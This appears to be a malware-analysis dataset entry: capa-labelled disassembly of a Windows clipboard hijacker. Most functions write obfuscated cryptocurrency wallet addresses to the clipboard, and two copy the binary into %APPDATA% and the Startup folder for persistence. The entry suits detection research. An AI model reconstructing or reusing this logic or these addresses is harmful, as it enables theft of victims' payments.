joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4019d0
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x5247
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x4e393531
mov dword [esp + 0x21], 0x42397847
mov dword [esp + 0x25], 0x6f557236
mov dword [esp + 0x29], 0x58586a33
mov dword [esp + 0x2d], 0x67474734
mov dword [esp + 0x31], 0x59447657
mov dword [esp + 0x35], 0x5963734d
mov dword [esp + 0x39], 0x78517031
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401aca
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret

Function at 0x401b30
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x7734
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x4b624633
mov dword [esp + 0x21], 0x51547a65
mov dword [esp + 0x25], 0x41564e4c
mov dword [esp + 0x29], 0x745a5a39
mov dword [esp + 0x2d], 0x514b7861
mov dword [esp + 0x31], 0x56533373
mov dword [esp + 0x35], 0x37774433
mov dword [esp + 0x39], 0x4d59624e
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401c2a
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x401c30
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x3464
sub esp, 0x48
mov dword [esp + 4], 0x2b
mov dword [esp], 0x2002
mov dword [esp + 0x15], 0x38617830
mov dword [esp + 0x19], 0x33424344
mov dword [esp + 0x1d], 0x42364235
mov dword [esp + 0x21], 0x62436343
mov dword [esp + 0x25], 0x63363342
mov dword [esp + 0x29], 0x31374330
mov dword [esp + 0x2d], 0x36433039
mov dword [esp + 0x31], 0x35654146
mov dword [esp + 0x35], 0x33313637
mov dword [esp + 0x39], 0x64343365
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x15]
mov dword [eax], edx
mov edx, dword [esp + 0x19]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x1d]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x20], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x24], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x28], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x2a], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401d48
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x401d50
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x687a
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x6447574c
mov dword [esp + 0x21], 0x55615569
mov dword [esp + 0x25], 0x354c4651
mov dword [esp + 0x29], 0x396b5676
mov dword [esp + 0x2d], 0x33775841
mov dword [esp + 0x31], 0x5672626a
mov dword [esp + 0x35], 0x426e6e4b
mov dword [esp + 0x39], 0x45787148
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401e4a
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret

Function at 0x401e50
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push edi
push esi
mov ecx, 0x18
push ebx
mov esi, str.46rh6ggTmcrFjcPigS3BF49xycFxXvUQuhzYjbCsQtss21g91mHmGnpMHifjrmfppDWhteqsNQwNRTcDHixZZVsMH6wQ5vH
sub esp, 0x70
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 4], 0x60
mov dword [esp], 0x2002
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
lea edi, [eax + 4]
mov edx, dword [esp + 0x10]
lea esi, [esp + 0x10]
and edi, 0xfffffffc
mov dword [eax], edx
mov edx, dword [esp + 0x6c]
mov dword [eax + 0x5c], edx
sub eax, edi
lea ecx, [eax + 0x60]
sub esi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401ee8
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x70
pop ebx
pop esi
pop edi
ret
Function at 0x401ef0
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x7331
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x68677658
mov dword [esp + 0x21], 0x69386e46
mov dword [esp + 0x25], 0x78415559
mov dword [esp + 0x29], 0x7a336457
mov dword [esp + 0x2d], 0x57636b42
mov dword [esp + 0x31], 0x43554753
mov dword [esp + 0x35], 0x4c337863
mov dword [esp + 0x39], 0x554b7475
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401fea
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret

Function at 0x401ff0
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x3768
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x75575444
mov dword [esp + 0x21], 0x47464c53
mov dword [esp + 0x25], 0x7333376a
mov dword [esp + 0x29], 0x47616474
mov dword [esp + 0x2d], 0x4668576b
mov dword [esp + 0x31], 0x31765059
mov dword [esp + 0x35], 0x65705435
mov dword [esp + 0x39], 0x35713542
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4020ea
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x4020f0
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
sub esp, 0x48
mov dword [esp + 4], 0x24
mov dword [esp], 0x2002
mov dword [esp + 0x1c], 0x33513174
mov dword [esp + 0x20], 0x6a384b67
mov dword [esp + 0x24], 0x79724672
mov dword [esp + 0x28], 0x35754e61
mov dword [esp + 0x2c], 0x35395532
mov dword [esp + 0x30], 0x566d4d4b
mov dword [esp + 0x34], 0x39446536
mov dword [esp + 0x38], 0x536a6d41
mov dword [esp + 0x3c], 0x787967
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1c]
mov dword [eax], edx
mov edx, dword [esp + 0x20]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x24]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x28]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2c]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x30]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x34]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x38]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x3c]
mov dword [eax + 0x20], edx
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4021d9
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret

Function at 0x4021e0
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x4837
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x51554872
mov dword [esp + 0x21], 0x70574e45
mov dword [esp + 0x25], 0x6f53644c
mov dword [esp + 0x29], 0x6b324443
mov dword [esp + 0x2d], 0x427a4e53
mov dword [esp + 0x31], 0x71766162
mov dword [esp + 0x35], 0x74636a57
mov dword [esp + 0x39], 0x64396156
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4022da
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x4022e0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push edi
push esi
mov ecx, 0x1a
push ebx
mov esi, str.addr1qx0tmhy28vtkepxr363va89v4e7htxckqhskyqe0g3zzdvv7hhwg5wchdjzv8r4ze6w2etnawkd3vp0pvgpj73zyy6csvhyh6y
add esp, 0xffffff80
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 4], 0x68
mov dword [esp], 0x2002
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
lea edi, [eax + 4]
mov edx, dword [esp + 0x18]
lea esi, [esp + 0x18]
and edi, 0xfffffffc
mov dword [eax], edx
mov edx, dword [esp + 0x7c]
mov dword [eax + 0x64], edx
sub eax, edi
lea ecx, [eax + 0x68]
sub esi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x402378
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
sub esp, 0xffffff80
pop ebx
pop esi
pop edi
ret

Function at 0x402380
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x7266
sub esp, 0x48
mov dword [esp + 4], 0x2b
mov dword [esp], 0x2002
mov dword [esp + 0x15], 0x31626e62
mov dword [esp + 0x19], 0x78766a74
mov dword [esp + 0x1d], 0x64617238
mov dword [esp + 0x21], 0x39766866
mov dword [esp + 0x25], 0x6b336c67
mov dword [esp + 0x29], 0x64646871
mov dword [esp + 0x2d], 0x36677039
mov dword [esp + 0x31], 0x6137666d
mov dword [esp + 0x35], 0x6c777365
mov dword [esp + 0x39], 0x387a7468
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x15]
mov dword [eax], edx
mov edx, dword [esp + 0x19]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x1d]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x20], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x24], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x28], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x2a], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x402498
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x4024a0
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x776d
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x6a615554
mov dword [esp + 0x21], 0x70767561
mov dword [esp + 0x25], 0x577a756a
mov dword [esp + 0x29], 0x78613535
mov dword [esp + 0x2d], 0x36736f68
mov dword [esp + 0x31], 0x6a746235
mov dword [esp + 0x35], 0x6d354371
mov dword [esp + 0x39], 0x51333851
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x40259a
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x4025a0
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x45
sub esp, 0x58
mov dword [esp + 4], 0x32
mov dword [esp], 0x2002
mov dword [esp + 0x1e], 0x55445155
mov dword [esp + 0x22], 0x6c31775a
mov dword [esp + 0x26], 0x41575832
mov dword [esp + 0x2a], 0x5854436b
mov dword [esp + 0x2e], 0x49576765
mov dword [esp + 0x32], 0x766a5048
mov dword [esp + 0x36], 0x67744b66
mov dword [esp + 0x3a], 0x4e306741
mov dword [esp + 0x3e], 0x79334a4d
mov dword [esp + 0x42], 0x644d665f
mov dword [esp + 0x46], 0x6478454a
mov dword [esp + 0x4a], 0x62365772
mov word [esp + 0x4e], ax
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1e]
mov dword [eax], edx
mov edx, dword [esp + 0x22]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x26]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x2a]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2e]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x32]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x36]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x3a]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x3e]
mov dword [eax + 0x20], edx
mov edx, dword [esp + 0x42]
mov dword [eax + 0x24], edx
mov edx, dword [esp + 0x46]
mov dword [eax + 0x28], edx
mov edx, dword [esp + 0x4a]
mov dword [eax + 0x2c], edx
movzx edx, word [esp + 0x4e]
mov word [eax + 0x30], dx
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4026c9
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x58
pop ebx
ret

Function at 0x402ca0
Capabilities:
Copy file
Move file

Disassembly:
push esi
push ebx
sub esp, 0x124
mov ebx, dword [esp + 0x134]
lea esi, [esp + 0x1c]
mov dword [esp + 4], str._APPDATA__service.exe
mov dword [esp], esi
mov dword [esp + 8], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_rename
mov eax, dword [esp + 0x130]
mov dword [esp + 4], ebx
mov dword [esp + 8], 0
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileA
sub esp, 0xc
xor eax, eax
add esp, 0x124
pop ebx
pop esi
ret

Function at 0x402d00
Capabilities:
Copy file
Move file

Disassembly:
push esi
push ebx
sub esp, 0x124
mov ebx, dword [esp + 0x134]
lea esi, [esp + 0x1c]
mov dword [esp + 4], str._APPDATA_MicrosoftWindowsStart_MenuProgramsStartup_service.exe
mov dword [esp], esi
mov dword [esp + 8], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_rename
mov eax, dword [esp + 0x130]
mov dword [esp + 4], ebx
mov dword [esp + 8], 0
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileA
sub esp, 0xc
xor eax, eax
add esp, 0x124
pop ebx
pop esi
ret
Function at 0x4033a0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40a044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40a03c]
sub esp, 4
test ebx, ebx
je 0x4033eb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x4033e4
test esi, esi
je 0x4033e4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4033c0
mov dword [esp], 0x40a044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4035d0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x403620
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4036f8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40365e
cmp eax, 4
jne 0x403680
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40366e
cmp edx, 4
je 0x40366e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004035d0
Function at 0x40b0f5
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x40b106
lcall 0x5de5, 0x8b10c483
jmp fcn.009695bc

Function at 0x40b106
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x40b106
lcall 0x5de5, 0x8b10c483
jmp fcn.009695bc